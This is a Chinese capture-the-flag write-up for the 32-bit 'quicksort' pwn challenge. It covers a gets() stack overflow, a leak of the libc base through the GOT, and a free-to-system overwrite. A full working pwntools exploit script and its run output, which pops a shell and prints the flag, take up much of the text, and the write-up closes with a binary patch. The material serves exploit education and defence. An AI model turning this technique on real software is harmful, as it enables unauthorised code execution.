源文件、IDA分析文件、修复文件打包下载:http://file.eonew.cn/ctf/pwn/quicksort.zip 。
该题主要考验的是对栈的构造能力,以及对算法的简单了解。
目录
程序功能介绍
安全防护
ex@Ex:~/test$ checksec ./quicksort
[*] '/home/ex/test/quicksort'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
主要代码
void __cdecl main_function()
{
int *temp_ptr; // ebx
char user_input[16]; // [esp+Ch] [ebp-2Ch]
int number_size; // [esp+1Ch] [ebp-1Ch]
int i; // [esp+20h] [ebp-18h]
int j; // [esp+24h] [ebp-14h]
int *array_ptr; // [esp+28h] [ebp-10h]
unsigned int v6; // [esp+2Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
user_input[1] = 0;
user_input[2] = 0;
user_input[3] = 0;
user_input[4] = 0;
user_input[5] = 0;
user_input[6] = 0;
user_input[7] = 0;
user_input[8] = 0;
user_input[9] = 0;
user_input[10] = 0;
user_input[11] = 0;
user_input[12] = 0;
user_input[13] = 0;
user_input[14] = 0;
user_input[15] = 0;
user_input[0] = 0;
number_size = 0;
puts("how many numbers do you want to sort?");
__isoc99_scanf("%d", &number_size);
getchar();
array_ptr = (int *)malloc(4 * number_size);
for ( i = 0; i < number_size; ++i )
{
printf("the %dth number:", i + 1);
gets(user_input);
temp_ptr = &array_ptr[i];
*temp_ptr = atoi(user_input);
}
sort(array_ptr, 0, number_size - 1);
puts("Here is the result:");
for ( j = 0; j < number_size; ++j )
printf("%d ", array_ptr[j]);
puts(&byte_8048AD2);
free(array_ptr);
}
分析
gets(user_input)
明显存在溢出。只要我们合理的构造栈布局就可以控制程序流了。
栈布局
-0000002C user_input db 16 dup(?)
-0000001C number_size dd ?
-00000018 i dd ?
-00000014 j dd ?
-00000010 array_ptr dd ? ; offset
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
思路
- 泄露基地址
- getshell
泄露基地址
这里关键是要控制利用sort函数来控制数据流,这里我主要是控制got表。
ex@ubuntu:~/test$ readelf --dyn-syms quicksort
Symbol table '.dynsym' contains 18 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)
3: 00000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND getchar@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
8: 00000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.0 (2)
9: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
10: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
11: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
12: 00000000 0 FUNC GLOBAL DEFAULT UND __isoc99_scanf@GLIBC_2.7 (4)
13: 00000000 0 FUNC GLOBAL DEFAULT UND atoi@GLIBC_2.0 (2)
14: 0804a084 4 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.0 (2)
15: 0804a060 4 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.0 (2)
16: 08048a7c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
17: 0804a080 4 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.0 (2)
主要思路是劫持array_ptr,然后劫持got表,将free
修改为main函数的地址,这样在程序结尾处调用free
的时候,又会重新运行一遍main
,而且即使sort之后,下面两个顺序也不会变,这个很重要,所以一定要控制好这个。
3: 00000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.0 (2)
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('1')
main_addr = 0x8048816 # main函数地址
main_addr_int = struct.unpack('i', p32(main_addr))[0]
log.info('gets.got: ' + hex(elf.got['gets']))
sh.recvuntil(' number:')
layout = [
str(main_addr_int).ljust(16, '\0'), # user_input
p32(1), # number_size
p32(1), # i
p32(0), # j
p32(elf.got['gets']) # array_ptr
]
# s()
sh.sendline(flat(layout))
sh.recvuntil('Here is the result:\n')
result = int(sh.recvuntil('\n'))
temp = struct.pack('i', result)
libc_base = u32(temp) - libc.symbols['gets']
log.success('libc_base: ' + hex(libc_base))
由于p32函数不支持负数,所以main_addr
需要自行转换为int类型。
getshell
# again
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('2')
sh.recvuntil(' number:')
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
str(system_addr_int).ljust(16, '\0'), # user_input
p32(2), # number_size
p32(0), # i
p32(0), # j
p32(elf.got['free']) # array_ptr
]
sh.sendline(flat(layout))
# 把sh 写入到bss部分
temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
str(temp_int).ljust(16, '\0'), # user_input
p32(0), # number_size
p32(0), # i
p32(0), # j
p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')
s()
sh.sendline(flat(layout))
sh.interactive()
上面的代码可主要分为两部分。
把free改成system
system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
str(system_addr_int).ljust(16, '\0'), # user_input
p32(2), # number_size
p32(0), # i
p32(0), # j
p32(elf.got['free']) # array_ptr
]
sh.sendline(flat(layout))
后面在调用free的时候就相当于直接调用system。
把sh 写入到bss部分
temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
str(temp_int).ljust(16, '\0'), # user_input
p32(0), # number_size
p32(0), # i
p32(0), # j
p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')
sh.sendline(flat(layout))
这里把array_ptr
指向了bss段,并把sh
写入到bss段,elf.bss() + 0x100
中的0x100
是为了防止换行截断。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import struct
sh = process('./quicksort')
elf = ELF('./quicksort')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"
# sh = remote('34.92.96.238', 10000)
# elf = ELF('./quicksort')
# libc = ELF('./libc.so.6')
def s():
raw_input('#')
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('1')
main_addr = 0x8048816 # main函数地址
main_addr_int = struct.unpack('i', p32(main_addr))[0]
log.info('gets.got: ' + hex(elf.got['gets']))
sh.recvuntil(' number:')
layout = [
str(main_addr_int).ljust(16, '\0'), # user_input
p32(1), # number_size
p32(1), # i
p32(0), # j
p32(elf.got['gets']) # array_ptr
]
sh.sendline(flat(layout))
sh.recvuntil('Here is the result:\n')
result = int(sh.recvuntil('\n'))
temp = struct.pack('i', result)
libc_base = u32(temp) - libc.symbols['gets']
log.success('libc_base: ' + hex(libc_base))
# again
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('2')
sh.recvuntil(' number:')
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
str(system_addr_int).ljust(16, '\0'), # user_input
p32(2), # number_size
p32(0), # i
p32(0), # j
p32(elf.got['free']) # array_ptr
]
sh.sendline(flat(layout))
# 把sh 写入到bss部分
temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
str(temp_int).ljust(16, '\0'), # user_input
p32(0), # number_size
p32(0), # i
p32(0), # j
p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')
sh.sendline(flat(layout))
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行实例
ex@ubuntu:~/test$ ./exp.py
[+] Opening connection to 34.92.96.238 on port 10000: Done
[*] '/home/ex/test/quicksort'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/ex/test/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] gets.got: 0x804a014
[+] libc_base: 0xf7d46000
[+] system_addr: 0xf7d80da0
[*] Switching to interactive mode
Here is the result:
$ ls
chall
flag
pwn
$ cat flag
*CTF{lSkR5u3LUh8qTbaCINgrjdJ74iE9WsDX}
修复
原理是在文件的'\x00'填充部分写一个跳转函数,在这个跳转函数里面设置每次接受的字符数目。
1. 修改导入表
将导入表中的gets
修改为read
,这个直接用vim
编辑器就可以做到了。
2. 填充指令
将我们的指令填充在0x8048C90
处,具体指令如下。
push 16
push DWORD PTR 8[esp]
push 0
call _read
add esp, 12
ret
3. patched
将下面的指令,
8048901: e8 fa fb ff ff call 8048500 <gets@plt>
修改为如下的指令:
8048901: e8 8a 03 00 00 call 8048c90 <_IO_stdin_used@@Base+0x214>
这样栈溢出的漏洞就被修复了,修复文件在上面的下载包里。
总结
这题还是比较综合的,不仅考验对栈的构建,还有排序算法需要我们对其进行控制。